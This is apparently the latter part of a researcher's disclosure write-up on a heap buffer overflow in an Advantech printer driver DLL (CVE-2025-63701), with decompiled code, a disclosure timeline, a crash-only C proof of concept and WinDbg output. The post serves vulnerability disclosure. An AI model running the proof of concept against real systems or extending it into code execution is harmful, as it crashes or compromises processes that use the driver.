        <span class="n">ppvVar4</span> <span class="o">=</span> <span class="n">FUN_180012d88</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">HANDLE</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">),</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">),</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ppvVar4</span> <span class="o">!=</span> <span class="p">(</span><span class="n">HANDLE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">FUN_180027d30</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">ppvVar4</span> <span class="o">+</span> <span class="mh">0x3c</span><span class="p">),</span><span class="o">*</span><span class="p">(</span><span class="n">longlong</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">),</span>
                        <span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">));</span>
          <span class="n">iVar3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
          <span class="n">FUN_180012f3c</span><span class="p">(</span><span class="n">ppvVar4</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="p">...</span>

</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">FUN_180027d30</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="n">longlong</span> <span class="n">param_2</span><span class="p">,</span><span class="kt">void</span> <span class="o">*</span><span class="n">param_3</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">undefined2</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">...</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="k">if</span> <span class="p">((</span><span class="n">param_1</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">)</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">))</span> <span class="p">{</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">);</span>
      <span class="n">uVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">);</span>
      <span class="n">uVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">)</span> <span class="o">=</span> <span class="n">uVar1</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">)</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">))</span> <span class="p">{</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">);</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">);</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">iVar2</span> <span class="o">=</span> <span class="n">FUN_180027c0c</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span> <span class="o">&lt;</span> <span class="n">iVar2</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">int</span> <span class="nf">FUN_180027c0c</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="kt">void</span> <span class="o">*</span><span class="n">param_2</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">ushort</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="n">undefined2</span> <span class="n">uVar2</span><span class="p">;</span>
  <span class="n">ushort</span> <span class="n">uVar3</span><span class="p">;</span>
  <span class="n">ushort</span> <span class="n">uVar4</span><span class="p">;</span>
  <span class="n">ushort</span> <span class="n">uVar5</span><span class="p">;</span>
  <span class="kt">short</span> <span class="n">sVar6</span><span class="p">;</span>
  <span class="kt">short</span> <span class="n">sVar7</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">uVar8</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar9</span><span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LAB_180027d06:</span>
    <span class="n">iVar9</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">uVar8</span> <span class="o">=</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">);</span>
    <span class="n">sVar7</span> <span class="o">=</span> <span class="mi">800</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">uVar8</span> <span class="o">==</span> <span class="mh">0xbc</span><span class="p">)</span> <span class="p">{</span>
      <span class="p">...</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">uVar1</span> <span class="o">!=</span> <span class="mh">0xdc</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">sVar7</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">short</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">);</span>
        <span class="k">goto</span> <span class="n">LAB_180027c88</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">sVar7</span> <span class="o">=</span> <span class="mh">0x401</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">uVar2</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">);</span>
    <span class="n">uVar3</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">uVar1</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">uVar8</span> <span class="o">=</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">uVar1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">param_2</span><span class="p">,</span><span class="n">param_1</span><span class="p">,(</span><span class="n">longlong</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">uVar8</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">short</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">)</span> <span class="o">=</span> <span class="n">sVar7</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">)</span> <span class="o">=</span> <span class="n">uVar2</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">)</span> <span class="o">=</span> <span class="n">uVar1</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">)</span> <span class="o">=</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="n">uVar4</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x46</span><span class="p">);</span>
    <span class="n">uVar5</span> <span class="o">=</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">uVar4</span> <span class="o">&lt;=</span> <span class="n">uVar3</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">uVar5</span> <span class="o">=</span> <span class="n">uVar4</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">iVar9</span> <span class="o">=</span> <span class="n">uVar8</span> <span class="o">+</span> <span class="n">uVar5</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">uVar3</span> <span class="o">&lt;</span> <span class="n">uVar4</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">uVar4</span> <span class="o">=</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">memcpy</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_2</span> <span class="o">+</span> <span class="p">(</span><span class="n">ulonglong</span><span class="p">)</span><span class="n">uVar1</span><span class="p">),</span>
           <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)((</span><span class="n">ulonglong</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x44</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">longlong</span><span class="p">)</span><span class="n">param_1</span><span class="p">),</span>
           <span class="p">(</span><span class="n">longlong</span><span class="p">)(</span><span class="kt">int</span><span class="p">)(</span><span class="n">uint</span><span class="p">)</span><span class="n">uVar4</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">iVar9</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Now the main issue here is that final memcpy, it is assuming that the output
(<code class="language-plaintext highlighter-rouge">(void *)((longlong)param_2 + (ulonglong)uVar1)</code>) has been allocated with at
least the required amout of memory.</p>

<h3 id="impact">Impact:</h3>

<ul>
  <li>This is ONLY in user space so there is no risk of Kernel comprimise here, this is a user-mode DLL not a kernel mode.</li>
  <li>Due to the above I dont think its possible for privilege escalation.</li>
  <li>This can cause a dos attack on any process that is trying to invoke the <code class="language-plaintext highlighter-rouge">DocumentPropertiesW</code></li>
  <li>Since this is a heap corruption error in usermode then I think someone smarter than me would be able to move this into code execution.</li>
</ul>

<h2 id="timeline">Timeline:</h2>

<ul>
  <li>Tue, Jul 29 2025: Bug discovered and reported to NCSC</li>
  <li>Fri, Aug 1 2025: Response from NCSC</li>
  <li>Wed, Aug 13 2025: NCSC reported bug to vendor</li>
  <li>Mon, Oct 6 2025: NCSC informed me that the disclosure period has ended and I am free to post about this.</li>
  <li>Sat, Oct 11 2025: Applied for CVE via Mitre</li>
  <li>Sat, Nov 15 2025: CVE-2025-63701 published on mitre.org</li>
</ul>

<h2 id="appendix">Appendix:</h2>

<h3 id="a---poc">A - POC</h3>

<p>Note that this is just to show the crash, and this is not publishing any real exploit.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;winspool.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hPrinter</span><span class="p">;</span>
    <span class="n">WCHAR</span> <span class="n">printerName</span><span class="p">[]</span> <span class="o">=</span> <span class="s">L"TP 3250"</span><span class="p">;</span> <span class="c1">// Is this always the same for all printers?? doesnt feel right ..</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">OpenPrinterW</span><span class="p">(</span><span class="n">printerName</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hPrinter</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"OpenPrinterW failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"OpenPrinterW successful: handle = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hPrinter</span><span class="p">);</span>

    <span class="n">DWORD</span> <span class="n">extra</span> <span class="o">=</span> <span class="mh">0x740</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">outBufSize</span> <span class="o">=</span> <span class="mi">320</span><span class="p">;</span>
    <span class="n">BYTE</span> <span class="n">inputBuf</span><span class="p">[</span><span class="mh">0x800</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="n">PDEVMODEW</span> <span class="n">pIn</span> <span class="o">=</span> <span class="p">(</span><span class="n">PDEVMODEW</span><span class="p">)</span><span class="n">inputBuf</span><span class="p">;</span>
    <span class="n">wcscpy</span><span class="p">(</span><span class="n">pIn</span><span class="o">-&gt;</span><span class="n">dmDeviceName</span><span class="p">,</span> <span class="n">printerName</span><span class="p">);</span>
    <span class="n">pIn</span><span class="o">-&gt;</span><span class="n">dmSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">DEVMODEW</span><span class="p">);</span>
    <span class="n">pIn</span><span class="o">-&gt;</span><span class="n">dmDriverExtra</span> <span class="o">=</span> <span class="n">extra</span><span class="p">;</span>

    <span class="n">BYTE</span> <span class="o">*</span><span class="n">outBuf</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">outBufSize</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">outBuf</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"wtf failed to allocate output buffer</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">ClosePrinter</span><span class="p">(</span><span class="n">hPrinter</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">outBuf</span><span class="p">,</span> <span class="mh">0xCC</span><span class="p">,</span> <span class="n">outBufSize</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"calling DocumentPropertiesW() with dmDriverExtra = 0x%lx, outBuf = %lu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">extra</span><span class="p">,</span> <span class="n">outBufSize</span><span class="p">);</span>
    <span class="n">LONG</span> <span class="n">r</span> <span class="o">=</span> <span class="n">DocumentPropertiesW</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">hPrinter</span><span class="p">,</span> <span class="n">printerName</span><span class="p">,</span> <span class="p">(</span><span class="n">PDEVMODEW</span><span class="p">)</span><span class="n">outBuf</span><span class="p">,</span> <span class="n">pIn</span><span class="p">,</span> <span class="n">DM_OUT_BUFFER</span> <span class="o">|</span> <span class="n">DM_IN_BUFFER</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">IDOK</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"DocumentPropertiesW returned: %ld</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"DocumentPropertiesW failed with:  %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="p">}</span>

    <span class="n">free</span><span class="p">(</span><span class="n">outBuf</span><span class="p">);</span>
    <span class="n">ClosePrinter</span><span class="p">(</span><span class="n">hPrinter</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="b---windbg-output">B - WinDbg output</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000&gt; !analyze -v
.........................
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Check Image - Checksum mismatch - Dump: 0x1f3b32, File: 0x1fd444 - C:\ProgramData\Dbg\sym\ntdll.dll\D1CD38081F8000\ntdll.dll
Unable to load image \\VBOXSVR\advantech\crash_min.exe, Win32 error 0n2

KEY_VALUES_STRING: 1

    Key  : Analysis.CPU.mSec
    Value: 1015

    Key  : Analysis.Elapsed.mSec
    Value: 32828

    Key  : Analysis.IO.Other.Mb
    Value: 0

    Key  : Analysis.IO.Read.Mb
    Value: 1

    Key  : Analysis.IO.Write.Mb
    Value: 0

    Key  : Analysis.Init.CPU.mSec
    Value: 781

    Key  : Analysis.Init.Elapsed.mSec
    Value: 45351

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 83

    Key  : Analysis.Version.DbgEng
    Value: 10.0.27871.1001

    Key  : Analysis.Version.Description
    Value: 10.2505.01.02 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2505.1.2

    Key  : Failure.Bucket
    Value: HEAP_CORRUPTION_ACTIONABLE_ListEntryCorruption_c0000374_DrvUI_x64_ADVANTECH.dll!Unknown

    Key  : Failure.Exception.Code
    Value: 0xc0000374

    Key  : Failure.Exception.IP.Address
    Value: 0x7ffc995ef3c9

    Key  : Failure.Exception.IP.Module
    Value: ntdll

    Key  : Failure.Exception.IP.Offset
    Value: 0xff3c9

    Key  : Failure.Hash
    Value: {f73b6e40-eff5-e543-d66a-d70b778facc2}

    Key  : Failure.ProblemClass.Primary
    Value: HEAP_CORRUPTION

    Key  : Timeline.OS.Boot.DeltaSec
    Value: 1252

    Key  : Timeline.Process.Start.DeltaSec
    Value: 8

    Key  : WER.OS.Branch
    Value: vb_release

    Key  : WER.OS.Version
    Value: 10.0.19041.1


FILE_IN_CAB:  crash_min.exe.2896.dmp

NTGLOBALFLAG:  40000400

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  (.ecxr)
rax=0000000000000000 rbx=00000000c0000374 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000001 rdi=00007ffc996597f0
rip=00007ffc995ef3c9 rsp=00000012c47fe880 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=0000017919ed0150 r13=0000000000000000
r14=0000017919ed5c10 r15=0000017919ed1820
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!RtlReportFatalFailure+0x9:
00007ffc`995ef3c9 eb00            jmp     ntdll!RtlReportFatalFailure+0xb (00007ffc`995ef3cb)
Resetting default scope

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffc995ef3c9 (ntdll!RtlReportFatalFailure+0x0000000000000009)
   ExceptionCode: c0000374
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 00007ffc996597f0

PROCESS_NAME:  crash_min.exe

ERROR_CODE: (NTSTATUS) 0xc0000374 - A heap has been corrupted.

EXCEPTION_CODE_STR:  c0000374

EXCEPTION_PARAMETER1:  00007ffc996597f0

STACK_TEXT:
00000012`c47fe880 00007ffc`995ef393     : 00007ffc`99636e80 00000012`c47ff830 00000000`00000000 00000000`00000000 : ntdll!RtlReportFatalFailure+0x9
00000012`c47fe8d0 00007ffc`995f8112     : 00000000`00000000 00007ffc`996597f0 00000000`0000000d 00000179`19ed0000 : ntdll!RtlReportCriticalFailure+0x97
00000012`c47fe9c0 00007ffc`995f83fa     : 00000000`0000000d 00000000`00000000 00000179`19ed0000 00000000`00000000 : ntdll!RtlpHeapHandleError+0x12
00000012`c47fe9f0 00007ffc`995fe081     : 00000179`19ed0000 00000179`19ed5af0 00000000`00000000 00000000`00000000 : ntdll!RtlpHpHeapHandleError+0x7a
00000012`c47fea20 00007ffc`99516625     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlpLogHeapFailure+0x45
00000012`c47fea50 00007ffc`99515b74     : 00000179`19ed0000 00000179`19ed0000 00000179`19ed5af0 00000179`19ed0000 : ntdll!RtlpFreeHeap+0xa25
00000012`c47fec00 00007ffc`995147b1     : 00000012`c47fef10 00000179`19ed0000 00000000`00000000 00000000`00000000 : ntdll!RtlpFreeHeapInternal+0x464
00000012`c47fecc0 00007ffc`992e9c9c     : 00000179`19ed6140 00000179`19ed6140 00000179`19c05e20 00000000`00000000 : ntdll!RtlFreeHeap+0x51
00000012`c47fed00 00007ffc`58ce2f5c     : 00000000`00000000 00000000`00000000 00000179`19ed6140 00000012`c47fee20 : msvcrt!free+0x1c
00000012`c47fed30 00007ffc`58ce2b62     : 00000000`00000001 00000000`00000000 00007ffc`58cd0000 00000012`c47fee20 : DrvUI_x64_ADVANTECH!DevQueryPrintEx+0x1e0
00000012`c47fed60 00007ffc`60718a76     : ffffffff`ffffffff 00000000`00000000 00007ffc`58cd0000 00000000`00000000 : DrvUI_x64_ADVANTECH!DrvDocumentPropertySheets+0x112
00000012`c47feda0 00007ffc`6071732a     : 00000000`0000000a 00000000`0000000a 00000012`c47fee50 00000012`c47fef10 : winspool!DocumentPropertySheets+0xc6
00000012`c47fedf0 00007ffc`60716b3f     : 00000000`0000000a 00000179`19c05e20 00000000`0000081c 00000012`c47fef10 : winspool!DocumentPropertiesWNative+0xce
00000012`c47fee80 00007ff7`911c1692     : 00000000`00000008 00000012`c47fef60 00000000`00000022 00000012`c47ff710 : winspool!DocumentPropertiesW+0x8f
00000012`c47feee0 00007ff7`911c1307     : 00000000`00000000 00000000`00000022 00007ff7`911cc048 00000000`00000000 : crash_min+0x1692
00000012`c47ff770 00007ff7`911c142a     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : crash_min+0x1307
00000012`c47ff7d0 00007ffc`97ab7374     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : crash_min+0x142a
00000012`c47ff800 00007ffc`9953cc91     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
00000012`c47ff830 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21


STACK_COMMAND: ~0s; .ecxr ; kb

SYMBOL_NAME:  DrvUI_x64_ADVANTECH+12f5c

MODULE_NAME: DrvUI_x64_ADVANTECH

IMAGE_NAME:  DrvUI_x64_ADVANTECH.dll

BUCKET_ID_MODPRIVATE: 1

FAILURE_BUCKET_ID:  HEAP_CORRUPTION_ACTIONABLE_ListEntryCorruption_c0000374_DrvUI_x64_ADVANTECH.dll!Unknown

OS_VERSION:  10.0.19041.1

BUILDLAB_STR:  vb_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

IMAGE_VERSION:  0.3.9200.20789

FAILURE_ID_HASH:  {f73b6e40-eff5-e543-d66a-d70b778facc2}

Followup:     MachineOwner
</code></pre></div></div>

<h2 id="relevant-resources">Relevant Resources:</h2>

<ul>
  <li><a href="https://www.cve.org/CVERecord?id=CVE-2025-63701">CVE-2025-63701</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/documentproperties">DocumentProperties function</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/printing-and-print-spooler-functions">Print Job Functions</a></li>
  <li><a href="https://cwe.mitre.org/data/definitions/122.html">CWE-122: Heap-based Buffer Overflow</a></li>
  <li><a href="https://github.com/NationalSecurityAgency/ghidra">Ghidra</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/">WinDbg</a></li>
